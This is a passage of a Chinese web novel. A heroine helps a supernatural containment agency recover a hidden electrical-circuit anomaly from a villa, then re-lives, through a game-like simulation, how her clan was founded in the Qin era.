    其实往深了想，南音笙虽然不是族地里长大的南家人，但是既然他能感受到亲近，那她同样如此。


    她还愿意把【族谱】给他，可见其关心和爱护。


    那他还有什么可担心的？


    “和我一起去吧，你也算和官方合作了，我教你用封锁。”


    他后知后觉到南音笙也许不算年轻，改口，“音笙，走吧，你和我们达成合作，我可以现场教学。”


    南音笙一时间竟不知道说什么好。


    好一会才道，“小栢，你是不是缺心眼？”


    南赴栢抬头看她，笑脸傻气，“确实有点。”


    ......


    官方的动作很快，几分钟时间，海湾别墅内的住户和员工全部撤离。


    南音笙带上柔和的面具，跟着南赴栢到了现场。


    别墅外墙周围，一圈透明质感的薄膜合成磨砂材质相似的半圆，将整座别墅紧紧锁住。


    周遭，一群白大褂摆弄着滴滴作响的仪器，面色严肃。


    “这是二级封锁，原材料是自然产生的稀有矿物，裁剪成规则立体图形后，经过镇国器气息浸染会有很好的延展性，要用的时候可以把它拉扯开，形成区域范围的透明封锁。”


    “越透明，说明封锁效果越好。”


    “他们是研究部的一线研究员，在根据逸散能量测试封锁生效时间和承受范围。”


    “解密人都带着不传播的污染，会对封锁造成压力，因此研究员出结果后我们才能确认进哪些人。”


    南赴栢如之前所言进行着现场教学，在从事了两年的专业工作上，他再次展现出与南音笙初见时的魅力。


    专注，专业，果敢，锋利。


    “怎么是二级封锁，不是说很可能是高危异常或神秘衍生物吗？”


    南赴栢随手从全副武装的等待人堆里抓出一个，正巧是安康。


    “南顾问，副队他们把所有次一级封锁都带走了。”


    “杨部长


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    又联系不上，我们只能找到二级封锁。”


    “什么任务，全都走了？”南赴栢疑惑，“没人坐镇？”


    “夏历司的赵司长在，这次污染就是他发现的。”安康焦头难额，星辰司队长和副队长都不在，他就是代理队长。


    他也是经验丰富的资深解密人了，只是几天时间，对付可能出现的低危和中危异常，大概率不会出现差错，还有夏历司的赵司长坐镇，按理来说不会有任何问题。


    结果现在问题来了，“夏历司的封锁破了，赵司长被异常找上门，现在还在昏迷。晕倒前让我们给海湾一号别墅加上次一级封锁。”


    次一级封锁，也就是专门对付高危的封锁，但是他们没有啊，只能请休假中的南赴栢尽快顶上。


    南音笙站在南赴栢身后安静听着，她将身体里的能量与自然相连，整个人的存在感急剧降低。加上有成年男性的遮挡，安康没有发现她。


    “新的高危异常啊南顾问，上一次发现高危异常，还是七年前的【白鲸】”


    “只能辛苦您了。”


    “镇国器没有反应？”


    “没有任何预警，我们也没有权限接近镇国器，只能先安排封锁。”


    南赴栢没有说话，沉稳的点点头，转身对南音笙解释。“高危异常和高危神秘衍生物出现在函夏境内，镇国器会有反应，及时显现出它们的部分信息。”


    “官方有专门人员，可以根据镇国器的信息锁定异常或者神秘衍生物的位置。”


    安康这才发现南音笙，面色突变，不过有头盔的遮挡，加上他很快调整好表情，无人发现异常。


    “预警和锁定是两部分？”她一直以为全是镇国器的功劳。


    安康看了眼南赴栢，率先答，“是，锁定是一位长官的神秘向，为了他的安全，我们统一称是镇国器的作用。”


    有队员递给南赴栢一个红匣，篮球大小。南音笙想起回收酒鬼的容器也是一个红匣。


    “红匣用于关押异常或者神秘衍生物本体，抑制其活动和污染。全都以自然生长的稀有木材为原材料，同样经过镇国器气息浸染后可用。”


    南赴栢颠了颠红匣，眉头蹙起，“这也是二级封锁物，他们为什么要这么多次一级封锁？”


    安康没有回答，他的权限和能力都还不够，而有时候无知是好事。


    南音笙则想起和系统的对话。


    先前的猜测再次冒出来。


    官方是不是在追查【山水图】？


    为什么这么巧？


    【雅南书】和函夏镇国器有什么联系？


    “南顾问，安队，结果出来了。”等待结果的星辰司队员小跑过来，打断南音笙的思考。


    来人体态轻盈，但是眼神沉静，“最多进三位解密人，如果异常开始释放污染，不到半小时封锁会彻底报废。”


    在场的解密人脸色都不好看，封锁都是可回收再利用的，半小时就彻底报废，这种污染程度都快赶上酒鬼了。


    安康看了眼南赴栢，沉声点名，“杨觅林，巫惜和...”


    他啧了一声，“南顾问，就我们三个。”


    杨觅林，巫惜，安康。


    三位解密人互相看一眼，静待南赴栢的命令。

 16. 静悄悄

    “我是巫惜，神秘向叫喜悦之心，主战的。”


    “杨觅林，神秘向反刍，可以治疗内外伤和精神疲惫。”


    两人第一次和大名鼎鼎的南顾问合作，所以简单介绍了自己的神秘向。


    而严格意义上来说，南家子弟并非解密人，他们还未觉醒神秘向，但已经让绝大多数存在艳羡了。


    “我叫南赴栢，她是南音笙，普通人，走吧。”


    时间紧迫，谁也不知道别墅里的异常什么时候主动释放污染。


    于是大致知道情况后，五人先后踏入封锁。


    进入封锁如同跨过水膜，清凉薄透，由外至内毫无阻碍。


    南音笙原本站在南赴栢身后，突然上前一步抓住他的手腕，感受着他周身能量的流动方式，在进入前将身体的能量流动轨迹模拟一致。


    南赴栢有点意外，但是任由她握着。


    身后两名女性队员皱着眉，她们以为南音笙是南赴栢的后辈。


    南顾问的名声虽然很响，但他的特殊其实只有高层和部分内定管理人员知道。


    所以她们不明白，南顾问为什么要带家里的小孩来这么危险的地方，明明从南音笙的动作来看，她是害怕的。


    但碍于南顾问的专业性，没有人出声质疑。


    安康不知想到什么，太阳穴突突的跳，还不得不保持警惕，整个人的状态十分糟糕。


    别墅的格局和南音笙的一模一样，房子四周是围成的小花园，后方有一个阳光房。


    别墅主屋只有三层加上阁楼，不算大，大致检查一圈差不过要一个小时。


    “异常是什么？”南赴栢问，“污染路径呢。”


    “还要查。仪表显示现在的污染值很低，但是研究员都说异常的污染传播路径一定很广。”安康眉毛能夹死苍蝇，高压之下，他身上懒散亲切的气质全被压没了。


    “你们查外围，我和音笙进主屋。有问题立刻联系，半小时后无论有没有事，都在大门口汇合。”


    “是。”三人齐声。


    ......


    南音笙一直很安静，将普通人初次参与异常回收的拘谨表现了个十成十。


    但进入主屋后，她又恢复了在家时的冷淡模样。


    南赴栢摸了摸被抓过的手腕，不明白南音笙为什么精分。


    但现在不是探究这些的时候，“只有先遭受污染才能破茧为解密人，所以他们对污染的感知更灵敏，只要近距离接触，大概率能找到隐藏起来的异常。”


    “我们虽然不是解密人，但对污染的灵敏度不比他们差。”


    南音笙看着南赴栢从玄关开始，触碰每一件看到的物品，不是很理解。


    她寻找异常全靠一双眼睛。


    异常和普通的物品总有差别，或是布满裂痕，或是发光发亮，更或者被黑色的污渍包裹，十分恶心，一眼可见其差别。


    为什么要上手？


    南音笙这样想，也这样问。


    南赴栢兀地停下动作，问“你真的没有破茧吗？”


    “我们触碰异常，只有说不清道不明的感觉，意识会告诉你，那是异常或神秘衍生物。”


    目前为止，没有人能凭借肉眼认出它们不愿现身时的伪装。


    “没有。”她连人都不是，没有破茧的可能，就连模拟人物也不是完全的人类，只是长得像人的玩偶。


    南音笙不再解释，任由南赴栢脑补。


    直觉告诉她，南姓世家已经成为了和雅南一样的模拟产物，绝对受她操控。


    所有从雅南去世起，她对南家就再也提不起警惕。


    “我去阁楼，由上至下找，这样更快。”


    说着，南音笙径直往上。


    阁楼的窗户开着，黄昏时的太阳是炙烤到红艳的橘子，滚烫糜烂，橙红的橘汁洒落一地。


    汁水外的阴影里，电插座里挤满蠕动的黑泥，为了吮吸果汁斗得你死我活。


    南音笙没想到这么快就发现了线索，转身又去了楼下。


    然而阁楼外的插座都有专门的插座保护盖，南音笙不想触碰这些恶心东西。


    “小栢，把电插座的保护盖打开。”南赴栢此时还在一楼餐厅挨个摸碗，闻言疑惑抬头，然后很听话的做了。


    手刚掀开保护盖，黏腻触感直冲大脑皮层，南赴栢下意识收回手。


    他先是惊喜：找到了！


    随即感觉有点恶心。


    这触感不对。


    他看了看毫无异样的插座，忍着不适，打开了其他楼层的电插板保护盖。每一个都带给他头皮发麻的触感。


    南音笙的视线总在插座内蠕动黑泥和南赴栢的脸上游移，最后看着他沾满蠕动黑色糊状物的手，没忍住，脸上带出嫌弃。


    正好被南赴栢发现。


    “......”


    今天之前，南音笙一直是需要照顾的小妹妹。


    之后，南音笙成了自带威严的长辈。


    看他找异常，如同长辈看光着腚玩泥巴的小孩，满是过来人的嫌弃和包容。


    她彻底不装了。


    她好歹装一装啊。


    “小笙，我叫安康他们上来，你的表情收一收。”


    虽然早有预料，但是南音笙还是难以给出好脸色，总有种捡到的家养小动物去粪坑里滚了一圈，还回来炫耀的嫌弃。


    “别叫我小笙。”她后退一步，“我知道，快解决吧。”


    ......


    现在情况已经很明显了，异常和别墅里的电路有关。


    就是不知道是别墅里所有电路都是异常的一部分，还是异常核心和电路接触，让这些电路浸满污染。


    几人不敢有大动作，小心翼翼地刨墙。


    安康和南赴栢一人找了一个插座为开口，顺着往墙上挖。


    杨觅林和南音笙坐在一旁，欣赏巫惜手撕轻钢龙骨。


    巫惜长相精致，像放在橱柜里的洋娃娃，此时她笑靥如花，掀墙如剪纸，轻松闲适。


    难怪巫惜之前介绍自己是主战的，这力量，吊打十个南赴栢。


    但她使用能力时，身上能量流动最明显的地方不是手臂，而是口腔、食管、胃这些主要用于吸收和消化的器官。


    南音笙看得目不转睛，有意识地模拟巫惜身上能量的流转方式。


    但是只看没那么容易学会，她准备打好关系后上手试试。


    有巫惜在，繁重工作很快完成，密集的显露排列整齐，全都裸露在外。


    三位解密人像感受不到污染一样，将裹满层层黑色物质的线路往红匣里塞。<


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    南赴栢受不了异常的触感，站在旁边指挥。


    而南音笙，不知为什么，她看见这玩意就想吐。


    和她回收的其他异常不同，这些电路给她的感觉像是某种恶心玩意，长期发酵发酸后聚拢在一起。


    除了恶心还是恶心。


    所以她站在距离异常最远的角落，等待回收完成。


    真以为她是普通人的两位队员，还给了她一把折叠椅，让她坐着免得劳累。


    南音笙看着她们手上的糊状物，微笑着婉拒了。


    ......


    红匣看着不大，容积却超乎想象，整栋别墅的电线都在里面，抱起来像是举铁。


    巫惜笑容明艳，怀抱红匣像是抱着轻飘飘的洋娃娃，风风火火地离开封锁。


    其他人暂时休整。


    “研究部的免洗喷雾，除污染专用。”杨觅林把一瓶铝罐递给南音笙，她自认有共坐的情谊，她们已经是熟人了。


    而不吵不闹，虽然没怎么帮忙，但作为普通人，一点没拖后腿的南音笙在她眼里就像懂事的后辈，值得关照。


    “虽然能除污染，但是出去后还是要去医疗区检查，知道吗。”


    “好，谢谢。”南音笙捏着喷雾口接过，演技出神入化，腼腆地笑笑，引得南赴栢频频侧目。


    “不对劲，太顺了。”安康一边用喷雾，一边皱眉，自从进入封锁，他就是这种焦虑模样。


    南赴栢点头，“还要找，异常的触感不对，应该是长期释放的污染堆积，还发酵了。”


    他抚摸着残破的墙壁，“等会把墙都掀开找找，正常环境下异常释放污染肯定会传播。除非异常核心有意控制。”


    “正常情况下异常也不会控制自己的‘生理反应’吧。”安康又拿出特制的铲子，片刻不停地继续挖墙，缓解压力般开玩笑，“自然产生的堆积污染啊，研究部要高兴疯。”


    “有什么用？”南音笙有种不好的预感，问，“制造人造污染茶吗？”


    话落，南赴栢面露惊悚。


    他也是受过“招待”的。


    安康沉默了，一个人更加卖力的挖墙。


    南赴栢的脸色越来越多彩。


    南音笙也隐隐作呕，心理上不适。


    他们略过了这个话题。


    南赴栢和安康哼哧哼哧地挖墙到半夜，累了就找杨觅林，一个拥抱过后，一直休息的沉稳小姐姐累得话都不说了。


    等到巫惜带着装备和报告回来，杨觅林坐在沙发上，像是一口气跑了十公里，从头到脚都透着不想动。


    “十年。”巫惜一开口，就给了所有人惊吓。“电路上堆积的污染长达十年，从别墅使用开始，就有什么把异常放在这里，同时限制它释放污染。”


    “污染路径也测出来了，是触电。电路范围内触电必亡。”


    但这不对。


    一个让夏历司部长昏迷前强烈要求封锁的封锁区。


    一个被研究员断定污染物内的异常主动释放污染，会让能回收再利用的二级封锁物半小时报废。


    一个让他们小心翼翼，生怕触动异常而全程人力拆迁的东西。


    怎么会是污染路径如此狭隘的玩意？


    他们都做好牺牲的准备了，结果直到现在都跟玩一样。

 17. ？？？

    “谁做的装修，屋主人是谁，有没有仇家。”在这些问题上，一向都是安康出面，“无意还是蓄谋，私人行为还是组织报复？”


    “别墅都是开发商统一装的，八卦司正在查装修团队和物业。”巫惜把报告递给他们，“屋主人查不了，八卦司留守人员权限不足，找不到其他资料。”


    “我们的人？”


    “牺牲的一等功队员宿蔷独子，宿队长生前职务不明，牺牲原因不明。但师局长把她的儿子列入一级保护名单，副队及以上才有权限查看。南顾问，八卦司那边说可能需要您去一趟。”


    “如果是蓄意，这边事发，宿队长的孩子可能有危险。我们需要尽快联系他。”


    但谁都知道南赴栢现在离不开。


    不管是规定还是经验能力，他们都需要南赴栢。


    安康比所有人都清楚，虽然到目前为止，南赴栢看起来都没帮上什么忙。


    但是在回收异常时，只有南赴栢去，他们才有存活的可能。


    南家人免疫污染，能够学习任何知识，甚至有资格与神秘面对面交流。


    而高危异常和高危神秘衍生物身上都有神秘的气息，普通人接触这些气息即刻疯狂。


    更有甚者，他们幸运的没有接触神秘的气息，但高危异常的污染对解密人也是难以承受的重压。如果污染效果为即死，携带再多消除污染的装备都没用。


    谁知道有没有东西伺机而动，正等着他们离开后大开杀戒呢。


    安康和南赴栢的视线一齐转向南音笙。


    巫惜顺着他们的视线一同看过去。


    南音笙全程摸鱼，突然成为视线中心，下意识露出笑，“怎么了？”


    如果南赴栢敢开口，她就要请他放点血了。


    毕竟官方有镇国器，她的【雅南书】却还不知道怎么用呢。


    “小...音笙，你今天忙不忙啊。”


    南赴栢还是开了口。


    现在天漆黑，封锁外呜呜哇哇的风吹着，连月亮都看不见。


    在这个点，这种情况下问南音笙忙不忙，饶是有些许想法的安康都觉得荒谬。


    “有什么事吗南顾问？”


    “我要离开一趟，如果找到异常你能帮忙吗。”


    虽然很奇怪，但对于南音笙，他是信任的，冥冥之中甚至感觉她会做得比自己更好。


    明明她年纪轻轻，却给人一种长辈的安全感。


    巫惜和恢复点精力的杨觅林见鬼一样看着他。


    南音笙短暂地掀下面具，“好啊。”


    就当是给你的报酬。


    事急从权，南赴栢担责，安康协助，巫惜和杨觅林反对无效。此次回收异常的主力暂时扣在南音笙头上。


    而事实证明，异常是有智慧的。


    南赴栢离开不久，触电般的酥麻就在众人身体里流转。


    是污染，缓慢的，持续的，难以抵抗的污染。


    异常开始主动释放污染！


    但是他们还没有找到异常核心！


    三位解密人一边喷喷雾，一边心焦。


    安康看了南音笙一眼，转头拿起巫惜带进来的微型炸弹，一一分发给众人。


    现在，速战速决才最有利。


    “它早就发现我们了，炸吧，小心翼翼没用。”


    研究部开发的微型炸弹自带除污染功能。


    嘭嘭嘭的爆炸过去，四处都是无材料自燃的淡蓝色火焰。


    在南音笙眼里，爆炸释放了大量的白色泡沫，它们在空中飘舞，与遇到的黑点摩擦出火花。交缠在一起的黑白自发聚集，最后落在地上，变成了一时半会不会熄灭的淡蓝。


    别墅成了废墟，但没有异常的影子。


    反而众人身上污染的侵蚀在加剧，喷雾已经没用了，他们一人服下一颗胶囊。


    “新东西，能坚持三到五小时。”巫惜道。


    但是封锁坚持不了这么久。


    大型封锁会相互排斥，他们虽然可以等到外界封锁破损后补充，但中间的空闲足够多人遇害。


    南音笙抱着红匣，静默看着。


    她在南赴栢走后降低了自己的存在感。


    正如之前所想，异常是有智慧的，它既然能感受到南赴栢的威胁，那南音笙身上的威胁感只会更甚。


    如果它不愿出来，难道她还要等着官方挖地三尺，消耗大量时间后再慢悠悠“奋战”，最后回收异常皆大欢喜吗？


    她没有耐心了。


    她越来越没耐心了。


    现实世界对她的威胁很小。


    神秘大多还在沉睡，就算清醒也难以到达现实世界，祂们的眼睛南音笙有把握发现并拔除。


    系统插件遭到屏蔽，传递什么信息和情绪全看南音笙心情。


    官方对她礼遇，安康和南赴栢也不会自爆。


    她嚣张一点又如何？


    所以藏起来的异常成为了被钓的鱼，三位解密人成为铁盒子里撒发着致命吸引的鱼饵。


    南音笙安静待在一旁，静待猎物上钩。


    安康三人能看见站在空地的南音笙，却总在不经意间忽略她。


    每次都先想起人，慌张或茫然抬头，环顾四周，才能发现一直没有变换位置的临时主力。


    渐渐地，巫惜和杨觅林不再把她当成后辈。


    几分钟内，她们意识到了这位“普通人”的特殊。


    空气越来越躁动，安康三人又开始刨地。并且默契地无视了南音笙。


    一旦异常开始主动释放污染，他们就出不去了。


    每次跨过“透明薄膜”，都是一次清除污染的过程，但是异常是有智慧的，现在有人踏出去，只会成为上下镂空的盒子。


    污染在他身体里穿梭，解密人难以承受，接住污染的封锁也会更早破损。


    外界倒是可以送装备，但是封锁内无法联系外界，只有等他们自己发现里面人的需求。


    真是......他们成了砧板上待宰的肉。


    安康倏然意识到自己等人在不知不觉间成了诱饵。


    他脑袋发木的抬起头，四处寻找南音笙的身影。


    结果一转头，发现南音笙一直站在他挖出的坑外。


    她面无表情，眼底没有倒映出任何人的影子，只有浓重如乌夜的墨色。


    找到了！


    南音笙一把提起安康扔远，任由地上露出半截的电路板伸出电


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    线摸索。


    它身上裹满恶心黏腻的黑色物质，毫无所觉地往外爬。


    呕~


    南音笙心里呕吐，强忍着恶心等电路板整块爬出。


    红匣盖头，在所有人和异常都没反应过来前，回收成功。


    “？？？”


    “？？？”


    “？？？”


    突然意识到南音笙有存在感的三人一脸懵，看着她手上已经合上的红匣，所有人脸上都是具现化的问号。


    手表一样的仪器显示周围的污染急剧降低，异常核心确实被回收了。


    安康下半身被染得漆黑，并且这些黑色还在往上蔓延，但是他毫无所觉，靠近红匣想要确定情况。


    南音笙顺势把红匣扔给他，后退几大步。


    “结束了？这就结束了？”安康和巫惜反复端详着红匣，杨觅林眼神发直，嘴里喃喃。


    “不然呢？”南音笙诚心反问，“还要做什么？清理污染？”


    战国时期，南音笙总是独自在夜晚前往事发地，一个匣子带回异常。


    前往，发现，装箱，结束。


    除去酒鬼外，没有任何异常从她手上离开。


    “但是，但是...但是这是高危异常啊！”杨觅林尖叫着抓住巫惜的胳膊，她们的手脚不知何时被恶心的黑色缠绕。


    安康百分百确定红匣锁住了异常，惊疑不定的看着南音笙。


    也许是冲击太大，他感觉到轻微的窒息和强烈的眩晕。


    “南小姐，感谢你此次作出的贡献。”安康努力平复自己的呼吸。


    “我们的感知应该被麻痹了，如果没有你，我们可能消无声息的殉职。监天局现在内里空虚，封锁物欠缺，高危污染传播迅速且范围广阔，极可能造成大量伤亡，真的很感谢您的贡献。”


    有些东西，难做就是难做。


    有些人，轻松就是轻松。


    他们科技用尽，手段齐出，就是找不到异常，就是没办法完全抵御异常的污染。


    而南音笙和南赴栢，只是站在那里，就能对异常造成威慑，让它们不会轻举妄动。


    南音笙回收异常就像打包饭菜，人间对她来说安全闲适。


    巫惜能够靠吞噬“食物”制造好心情，从而越发强壮有力，甚至得到“食物”的特性。


    杨觅林反刍他人，必要时刻甚至能够把死人拖回现实。


    世界因为神秘而扭曲。


    人与人间的差距因神秘如有天堑。


    安康在眩晕中极力保持思考，却还是忍不住跌倒。


    他怀着莫名的心情发动了自己神秘向——宽阔世界。


    他的眼睛变为羊瞳，他看见了身后的别墅大门。


    然而这没有任何作用，失去意识前，他看见全副武装的队员鱼贯而入。


    “我先回去了，你们随意。”南音笙不想再待在这里，她习惯远离人群。


    “小南顾问，后续我们有复盘会，疑点，调查方向和结果我会整理成文件发给你的。”巫惜长相甜美，说话像撒娇，但做事很有章法，“有机会再见了！”


    安康和杨觅林先后昏迷，她还要留下来交接工作。


    “再会。”

 18. 模拟-南姓世家（阴谋）

    巫惜说好要发复盘文件，结果一个多星期都没有消息。


    南赴栢也一样，自从那天从一号别墅离开，就如同人间蒸发，连【族谱】都放在她这里不曾拿走。


    更诡异的是，系统也没有了声音，说好追查【山水图】，却一次也没有主动提示。


    每次南音笙询问，都会得到相同的回复。


    “合作者请稍等，官方正在追查。”


    所以南音笙这段时间过得异常悠闲。


    说实在的，不管他们在计划什么，只要与她无关，一切随缘。


    只不过这天南音笙计算着自己的能量，被1001刺得眼睛疼。


    上次【雅南书】自动翻页，吸收了她五十好几的能量，之后回收【电路板】加上日常练□□共消耗八十几的能量。


    身体没有能量会自动补足，因此不过一周，南音笙具现化的能量点数从【1185】减少为【1001】。


    即将少于四位数。


    能量才是南音笙的依靠，心痛之余，她干起了主业。


    “系统，回去模拟，有消息再叫我。”


    “正在执行，合作者请闭眼。”


    【模拟开始】


    【合作者是否使用40点能量抽取天赋？】


    【当前剩余能量值：1001】


    “系统，模拟人物一次可以带多少天赋。”


    【三种，模拟人物凭借抽取和继承，总共可以携带三种天赋，超过三种，按照天赋等级和潜力，分级消耗能量】


    “好，抽取吧。”


    【含情脉脉（蓝-一级），恶疾缠身（白-一级），笑口常开（白-二级）】


    “...选含情脉脉。”


    蓝色一级天赋，增加外貌20点，同时，只要南音笙愿意，以后看狗都深情。


    【天赋携带成功：午夜梦回（金-三级），贵人相助（紫-二级），含情脉脉（蓝-一级）】


    【数值二次分配完毕，人物属性继承完成，相关上限再分配成功】


    【南季属性如下：体61/89，智81/97，颜95/100，家境85，快乐0】


    【53岁：你的母亲逝世，你成为了赵氏小宗族长，成为族长前，你需要主持母亲——雅南的葬礼】


    【主动触发天赋：午夜梦回（金-三级）】


    夜晚的灵堂总是会带上些惊悚意味，雅南的灵堂同样如此。


    守灵的仆从都被南昙赶了出去，所以无人发现在外光无限的魏嬴夫人，如同抽空灵魂般软到跪地。


    她跪坐在棺木前怔怔出神，偶尔又偏过头，望着自己的胞弟精神涣散。


    她想起幼弟以往爱笑爱闹，虽然满腹才华，但总被长辈训斥不务正业。她


    想起他胆小不成熟，游学前悄悄向她诉说自己的种种担忧。


    想起他出门游玩为自己带回的千奇百怪的饰品......


    她记得白日里‘南季’下达命令时的冷漠眼神，被族叔称赞有长辈风范时毫无波澜的面容......


    那一刻，南昙意识到了。


    她一母同胞，双生同长的幼弟，成为了她的另一个‘母亲’。


    惊悚，悲戚，无力，压抑.......


    灵堂空旷死寂，只有她一个活人。


    南音笙的意识注入时，正好对上南昙的眼睛，轻易发现了她眼里杂糅的各种情绪。


    如果说心虚就显得太虚伪了。


    但不心虚又太过无情。


    南音笙叹息一声，主动触发天赋【含情脉脉】


    “阿母...”南昙被南音笙看得想哭，五十多年来，她从未在母亲眼里见到对自己的柔情。


    直到现在，直到现在......


    她竟然产生了“阿母爱我”的错觉。


    “南昙。”南音笙抚上年迈孩子的发顶，“你舍不得我啊，我决定留下了。”


    即使鬓如霜，细纹描眉，南昙依旧典雅，让看见她的人感慨美人在骨不在皮。


    她总是散发出干净温和的气质，迷惑了所有人的眼睛。


    南音笙不得不承认，在这一方面，南昙确实是继承她意志的女儿。


    南昙眼里逐渐蔓延出恐惧。


    她想起来了。


    雅南去世前，她紧握着她的手，请求阿母不要回归九天。


    她哭求，她跪喊...她让即将离开的神尊看一看她一手教导的孩子，他会双手奉上阿母想要的权势。


    但她没想过让自己的胞弟去死！


    南昙连跪坐的力气都泄掉了，极致的恐惧过后，只剩下木愣愣的空茫。


    南音笙还在继续，“南昙，给我看一看你要造就的作品吧，让我看看，你最后会做到哪一步。”


    “当然，你不愿意也没关系。”


    “其实你已经自由了。”


    她选择了南季，下一次继承属性的模拟人物后嗣只会是小辈，比如说南苓，比如说南梦，总之不是南昙。


    所以，南昙真的自由了。


    名为雅南的神尊不再悬于穹顶。


    她“自由”了。


    不知道南昙是否明白，


    她只是抬起头，眼里全是“南季”的身影。


    “昙，遵命。”


    利用“南季”的身份，南音笙第二次经历自己的葬礼，亲眼看着雅南下葬。


    【你很优秀，长辈称季有其母风范，你顺利成为小宗族长】


    【54岁：你轻松接手所有家族产业，同时选定解耦归家的南苓为继承人】


    【同宗长辈极力反对，你带着母亲留下的家业脱离宗族】


    【你的各直系亲属跟随你离开】


    【南昙与你决裂】


    【以魏嬴夫人为首的贵族与你争夺官职和产业】


    【你的家产迅速缩水，大半资产落入魏嬴夫人手中】


    【55岁：你改嬴姓为南姓，对外称南季，建立南家】


    【宗族小辈随之更名】


    【时人不解且愤怒，各方势力相继打压南家】


    【你的母亲收集了许多异诡】


    【你使用了异诡】


    【打压你的家族成员开始离奇死伤】


    【56岁：你的女儿南苓诞下一女，取名为__】


    “南启。”


    快了，南音笙想，让南姓世家正式在历史上留名吧。


    新的时代该开启了。


    【你的胞姐南昙病重】


    【秦国叛逃宗室赵季弑亲的传言甚嚣尘上，各家族纷纷派人探望你的妹妹南昙】


    【你去探望南昙，她拒绝了你的进入】


    【所有人都知道，你们再也没有和好如初的可能】


    冬夜，南音笙看着南昙紧闭的大门，心情很好的笑了笑。</


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    现在的秦还没有宵禁，但是夜晚无光，同样没有行人。


    她现在不需要光就能视物，因此独自一人在管道上散步也算悠闲。


    南家的后辈里，察觉到她不是“南季”的人不算少，但雅南余威尚在，加上现在的社会风气以“上”为尺标，所以明面上反对的人几乎没有。


    除了南昙，除了“自由”的南昙。


    模拟虽然以她选中的人物为主，但是其亲属在历史上留下的痕迹，同样能作为南音笙的“功绩”。


    贵族与南家间的矛盾越激烈，事情辐射的范围越广，南音笙的评分越高。


    而南昙是受到王太后喜爱的宗室，她的丈夫魏平现在官在九卿，为奉常。魏平的父亲生前为丞相。


    他们政治资本足够，人脉资源广阔，与世界“另一面”的翘楚——现在的南家，曾经的宗室对上，可想而知会多么激烈。


    所有人都在等待结果，他们已经做好蚕食输家的准备了。


    南音笙莫名想笑，她已经想到之后的生活会有多精彩了。


    【57岁：你的家族受到打压，不得不搬离咸阳，前往雍城投奔舅父】


    【庆鞅收留了你们，极尽所能给予帮助】


    【你决定带领家族成员在此定居】


    【你的母亲收集了许多异诡，你们无所顾忌地使用它们】


    【“南家子弟，非人”的流言在各个家族间发酵】


    【58岁：你的舅父卒，享年86】


    【南家家主南季弑亲的名声在各个家族流传】


    【你的从母兄弟姊妹没有听信谣言，依旧待你如待亲】


    【主动触发天赋：午夜梦回（金-三级）】


    南音笙睁眼时，南季正在给庆鞅上香。


    油灯朦胧，照得所有人都模糊不清。


    南音笙跪坐在下首，腰背挺直，眼里只有庆鞅的棺木。


    虽然早知道结果，但南音笙还是不理解，庆鞅居然会收留他们。


    南家，人人喊打。


    在贵族眼中，离经叛道的他们违背了时代，挑战了自古以来的秩序。


    世间没有男子以姓相称，世间没有女子姓氏在前，更何况是母姓在前。


    而越来越多的异常出现在世界上，南家人不惧异常污染的特质逐渐显露，“不同”的特性让其他人想要将他们置于死地。


    庆鞅太勇了，勇到南音笙想来看看这位文字里的兄长。


    她没有注意到，周遭的亲者仆属悄然垂首，包括南季的从母兄弟与姊妹。


    寂静中，庆鞅的长曾孙，三个月前才被庆鞅亲自加冠的庆则，突然向南音笙俯首，行跪礼。


    他语气颤抖，是压抑到极致的哭腔。


    “则，愿入南家，以南为姓，侍奉族长终生。”


    “则之后辈，与家族共存亡。”


    南音笙垂眸看他。


    【族谱】记载，南则狡黠，“年二十，携妻子入族，历尽千辛，侍奉神灵。”


    文字能够记载，能够传达。


    但无论如何，它都比不上亲眼所见让人思绪繁复。


    他们都是活人，前程奔波，各有所图。


    五年时间，模拟里的世界再一次，从南音笙眼里活了。


    【你的甥孙庆则，携带妻子归入南家，并改名南则，改女名南芹】


    【南则与原家族“决裂”】

 19. 模拟-南姓世家

    【59岁：你失去了庆鞅的庇护，你和你家族的处境岌岌可危，稍有起色的产业就会受到打压和掠夺】


    【你使用异诡越来越熟练】


    【渐渐地，你的产业安全了，但是少有人光顾】


    【南昙病愈，你手上的产业逐步遭其掠夺】


    【南昙子南梦放言，“若母病危，皆南季之错，举世共伐之。”】


    【你什么都没有做，任由南昙所为】


    【南昙一直平安健康，各家族对你的针对由明转暗】


    【60岁：秦国新都咸阳疾病蔓延，民怨重生，黑气冲天】


    【太史令言异诡作祟】


    【你见到了秦王派来的天使，他告诉你，秦王邀请你入住咸阳新宅】


    【你拒绝了】


    【寒夜，兵临族地】


    【主动触发天赋：午夜梦回（金-三级）】


    族中子弟都待在各自屋中。


    南音笙独自站在族地入口，看着放狠话的兵将。


    自从在雍郡定居，他们就将庆鞅特地圈出的偏僻山野作为族地，几年间，这片土地被改造成宜居的模样，同时，族地周围，是南家人轮流“献血”后得到的大型封锁。


    南赴栢讲解现代的封锁还是很有用的，南音笙受到启发，四处收集奇石稀木。


    奇石被血浸泡，哪怕不够规整，依旧变得透明，还拥有了较好的延展性。


    最重要的，在南家子弟血液的浸泡后，它们间的排斥减小，每隔一段距离，就能放上一块。


    层层叠叠下，南家族地被围绕地密不透风。


    因此没有外人知道，族地内埋藏着十几件足以要人命的异常。


    喊话的士兵意识到狠话没用，休整队伍，带着一小队踏进南家族地。


    封锁薄膜冰凉，他一抖，只当寒风扑面。


    但下一刻，手中的火把“噗呲”一下熄灭殆尽。


    此夜无月，墨色浓稠。


    不知是谁的惊叫划破夜色，带出此起彼伏的恐慌呐喊。


    他的嘶吼声淹没其中，哪怕时刻记得将军的交代，也没办法聚拢士兵。


    等到再次看清周围，才发现自己身边已经没有了活人。


    他们逃的逃，死的死，眼球外突，青筋崩裂。


    火光下，昔日的同袍如地府索命的冤魂。


    他僵住了，像是想到了比战场更可怕的东西。


    颗颗的汗珠从他头顶滚落。


    头不听使唤地缓慢转动，像是生锈的兵器。


    他看向了提灯而来的南家家主。


    秦国内流传甚广的话一字一句砸进他的肺腑。


    “南家子弟，非人！”


    南音笙轻轻碰了碰面前的兵卒，人高马大的黑脸汉子轰然倒地。


    他死了。


    族地里的异常相互作用，威力比预料中更大。


    虽然不知道这些异常受到她的威胁，会听话到几时，但是南音笙还是很满意现在的防护。


    模拟南季以来，虽然看似惊险，但到目前为止，连【贵人相助】都没被触发过，可见那些大家族还没有动真格。


    现在她拒绝觐见秦王，还解决了秦王派来的兵卒，新一轮讨伐也该来了吧。


    【你解决了秦王派来的士兵，消息传回，王大怒】


    【咸阳污染加剧，王被迫迁城】


    【61岁：你得到消息——太史令言，“南家子，异诡也”】


    【你的封地被收回，上言，逐南家出秦】


    【没有家族与你交易】


    【没有家族愿意与南家人交谈】

